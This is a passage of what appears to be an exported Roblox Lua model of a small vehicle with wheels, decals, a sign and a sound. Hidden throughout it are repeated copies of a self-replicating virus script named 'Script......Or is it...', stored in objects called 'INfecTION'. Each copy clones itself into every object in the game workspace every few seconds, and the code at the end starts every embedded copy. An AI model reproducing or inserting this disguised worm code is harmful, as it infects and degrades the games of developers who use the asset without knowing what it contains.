- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Rotate41.Parent = Part38
- Rotate41.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Rotate41.C1 = CFrame.new(2, -0.599999964, 3.5, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Rotate41.Part0 = Part38
- Rotate41.Part1 = Part30
- Rotate41.part1 = Part30
- Part42.Name = "Wheel"
- Part42.Parent = Model0
- Part42.CFrame = CFrame.new(13.5, 1.010023, 30, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part42.Orientation = Vector3.new(0, -180, 0)
- Part42.Position = Vector3.new(13.5, 1.010023, 30)
- Part42.Rotation = Vector3.new(180, 0, -180)
- Part42.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part42.Size = Vector3.new(1, 2, 2)
- Part42.BottomSurface = Enum.SurfaceType.Smooth
- Part42.BrickColor = BrickColor.new("Really black")
- Part42.LeftSurface = Enum.SurfaceType.Hinge
- Part42.TopSurface = Enum.SurfaceType.Smooth
- Part42.brickColor = BrickColor.new("Really black")
- Part42.FormFactor = Enum.FormFactor.Symmetric
- Part42.formFactor = Enum.FormFactor.Symmetric
- Part42.Shape = Enum.PartType.Cylinder
- RotateP43.Name = "INfecTION"
- RotateP43.Parent = Part42
- RotateP43.BaseAngle = 0.25
- Script44.Name = "Script......Or is it..."
- Script44.Parent = RotateP43
- table.insert(cors,sandbox(Script44,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Rotate45.Parent = Part42
- Rotate45.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Rotate45.C1 = CFrame.new(-2, -0.599999964, 3.5, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Rotate45.Part0 = Part42
- Rotate45.Part1 = Part30
- Rotate45.part1 = Part30
- Part46.Name = "Smooth Block Model"
- Part46.Parent = Model0
- Part46.CFrame = CFrame.new(16, 2.31001997, 30.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part46.Orientation = Vector3.new(0, -90, 0)
- Part46.Position = Vector3.new(16, 2.31001997, 30.5)
- Part46.Rotation = Vector3.new(0, -90, 0)
- Part46.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part46.Size = Vector3.new(1, 0.200000003, 4)
- Part46.BackSurface = Enum.SurfaceType.Weld
- Part46.BrickColor = BrickColor.new("Really black")
- Part46.CanCollide = false
- Part46.Elasticity = 1
- Part46.FrontSurface = Enum.SurfaceType.Weld
- Part46.LeftSurface = Enum.SurfaceType.Weld
- Part46.Material = Enum.Material.Wood
- Part46.Reflectance = 0.20000000298023
- Part46.RightSurface = Enum.SurfaceType.Weld
- Part46.TopSurface = Enum.SurfaceType.Weld
- Part46.brickColor = BrickColor.new("Really black")
- Part46.FormFactor = Enum.FormFactor.Custom
- Part46.formFactor = Enum.FormFactor.Custom
- Script47.Parent = Part46
- table.insert(cors,sandbox(Script47,function()
- function onTouched(part)
- if part.Parent ~= nil then
- local h = part.Parent:findFirstChild("Humanoid")
- if h~=nil then
- h.Parent.Torso.Velocity=Vector3.new(0,250,0)
- wait(0.5)
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Snap48.Parent = Part46
- Snap48.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
- Snap48.C1 = CFrame.new(0, 0.599998474, 4, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Snap48.Part0 = Part46
- Snap48.Part1 = Part30
- Snap48.part1 = Part30
- RotateP49.Name = "INfecTION"
- RotateP49.Parent = Part46
- RotateP49.BaseAngle = 0.25
- Script50.Name = "Script......Or is it..."
- Script50.Parent = RotateP49
- table.insert(cors,sandbox(Script50,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Part51.Parent = Model0
- Part51.CFrame = CFrame.new(15.999999, 3.2100215, 29.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part51.Position = Vector3.new(15.999999, 3.2100215, 29.5)
- Part51.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part51.Size = Vector3.new(2, 2, 1)
- Part51.BottomSurface = Enum.SurfaceType.Smooth
- Part51.BrickColor = BrickColor.new("Really black")
- Part51.TopSurface = Enum.SurfaceType.Smooth
- Part51.brickColor = BrickColor.new("Really black")
- RotateP52.Name = "INfecTION"
- RotateP52.Parent = Part51
- RotateP52.BaseAngle = 0.25
- Script53.Name = "Script......Or is it..."
- Script53.Parent = RotateP52
- table.insert(cors,sandbox(Script53,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Weld54.Parent = Part51
- Weld54.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld54.C1 = CFrame.new(-0.5, 0.900001526, 9.53674316e-07, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- Weld54.Part0 = Part51
- Weld54.Part1 = Part46
- Weld54.part1 = Part46
- ManualWeld55.Name = "Part-to-Part Strong Joint"
- ManualWeld55.Parent = Part51
- ManualWeld55.C0 = CFrame.new(-1, -1, -0.5, -0, 0, -1, 0, 1, 0, 1, 0, -0)
- ManualWeld55.C1 = CFrame.new(0.5, -1, 2.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld55.Part0 = Part51
- ManualWeld55.Part1 = Part57
- ManualWeld55.part1 = Part57
- Decal56.Parent = Part51
- Decal56.Texture = "http://www.roblox.com/asset/?id=170418651"
- Decal56.Face = Enum.NormalId.Back
- Part57.Parent = Model0
- Part57.CFrame = CFrame.new(14.499999, 3.2100215, 26.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part57.Position = Vector3.new(14.499999, 3.2100215, 26.5)
- Part57.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part57.Size = Vector3.new(1, 2, 7)
- Part57.BottomSurface = Enum.SurfaceType.Smooth
- Part57.BrickColor = BrickColor.new("Really black")
- Part57.TopSurface = Enum.SurfaceType.Smooth
- Part57.brickColor = BrickColor.new("Really black")
- RotateP58.Name = "INfecTION"
- RotateP58.Parent = Part57
- RotateP58.BaseAngle = 0.25
- Script59.Name = "Script......Or is it..."
- Script59.Parent = RotateP58
- table.insert(cors,sandbox(Script59,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Weld60.Parent = Part57
- Weld60.C0 = CFrame.new(0, 0, 3.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld60.C1 = CFrame.new(-0.5, 0.900001526, 1.50000095, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- Weld60.Part0 = Part57
- Weld60.Part1 = Part46
- Weld60.part1 = Part46
- Decal61.Parent = Part57
- Decal61.Texture = "http://www.roblox.com/asset/?id=3377556001"
- Decal61.Face = Enum.NormalId.Left
- Part62.Parent = Model0
- Part62.CFrame = CFrame.new(16, 3.2100215, 22.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part62.Position = Vector3.new(16, 3.2100215, 22.5)
- Part62.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part62.Size = Vector3.new(4, 2, 1)
- Part62.BottomSurface = Enum.SurfaceType.Smooth
- Part62.BrickColor = BrickColor.new("Really black")
- Part62.TopSurface = Enum.SurfaceType.Smooth
- Part62.brickColor = BrickColor.new("Really black")
- RotateP63.Name = "INfecTION"
- RotateP63.Parent = Part62
- RotateP63.BaseAngle = 0.25
- Script64.Name = "Script......Or is it..."
- Script64.Parent = RotateP63
- table.insert(cors,sandbox(Script64,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld65.Name = "Part-to-Part Strong Joint"
- ManualWeld65.Parent = Part62
- ManualWeld65.C0 = CFrame.new(-2, -1, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld65.C1 = CFrame.new(-0.499999046, -1, -3.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld65.Part0 = Part62
- ManualWeld65.Part1 = Part57
- ManualWeld65.part1 = Part57
- Part66.Name = "Sign"
- Part66.Parent = Model0
- Part66.CFrame = CFrame.new(18.1149998, 3.11002207, 25.8999996, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part66.Orientation = Vector3.new(0, -90, 0)
- Part66.Position = Vector3.new(18.1149998, 3.11002207, 25.8999996)
- Part66.Rotation = Vector3.new(0, -90, 0)
- Part66.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part66.Transparency = 1
- Part66.Size = Vector3.new(5.80000019, 2.20000076, 0.229999542)
- Part66.BrickColor = BrickColor.new("Really black")
- Part66.brickColor = BrickColor.new("Really black")
- Part66.FormFactor = Enum.FormFactor.Symmetric
- Part66.formFactor = Enum.FormFactor.Symmetric
- SurfaceGui67.Parent = Part66
- SurfaceGui67.CanvasSize = Vector2.new(200, 100)
- TextLabel68.Parent = SurfaceGui67
- TextLabel68.Size = UDim2.new(1, 0, 1, 0)
- TextLabel68.BackgroundColor = BrickColor.new("Institutional white")
- TextLabel68.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel68.BackgroundTransparency = 1
- TextLabel68.Font = Enum.Font.SourceSansBold
- TextLabel68.FontSize = Enum.FontSize.Size48
- TextLabel68.Text = "xdielivex's stuff"
- TextLabel68.TextColor = BrickColor.new("Really red")
- TextLabel68.TextColor3 = Color3.new(1, 0, 0)
- TextLabel68.TextScaled = true
- TextLabel68.TextSize = 48
- TextLabel68.TextStrokeTransparency = 0
- TextLabel68.TextWrap = true
- TextLabel68.TextWrapped = true
- RotateP69.Name = "INfecTION"
- RotateP69.Parent = Part66
- RotateP69.BaseAngle = 0.25
- Script70.Name = "Script......Or is it..."
- Script70.Parent = RotateP69
- table.insert(cors,sandbox(Script70,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- RotateP71.Name = "INfecTION"
- RotateP71.Parent = Model0
- RotateP71.BaseAngle = 0.25
- Script72.Name = "Script......Or is it..."
- Script72.Parent = RotateP71
- table.insert(cors,sandbox(Script72,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Sound73.Parent = Model0
- Sound73.Playing = true
- Sound73.SoundId = "rbxassetid://3518913974"
- Sound73.Volume = 3
- RotateP74.Name = "INfecTION"
- RotateP74.Parent = Sound73
- RotateP74.BaseAngle = 0.25
- Script75.Name = "Script......Or is it..."
- Script75.Parent = RotateP74
- table.insert(cors,sandbox(Script75,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = script
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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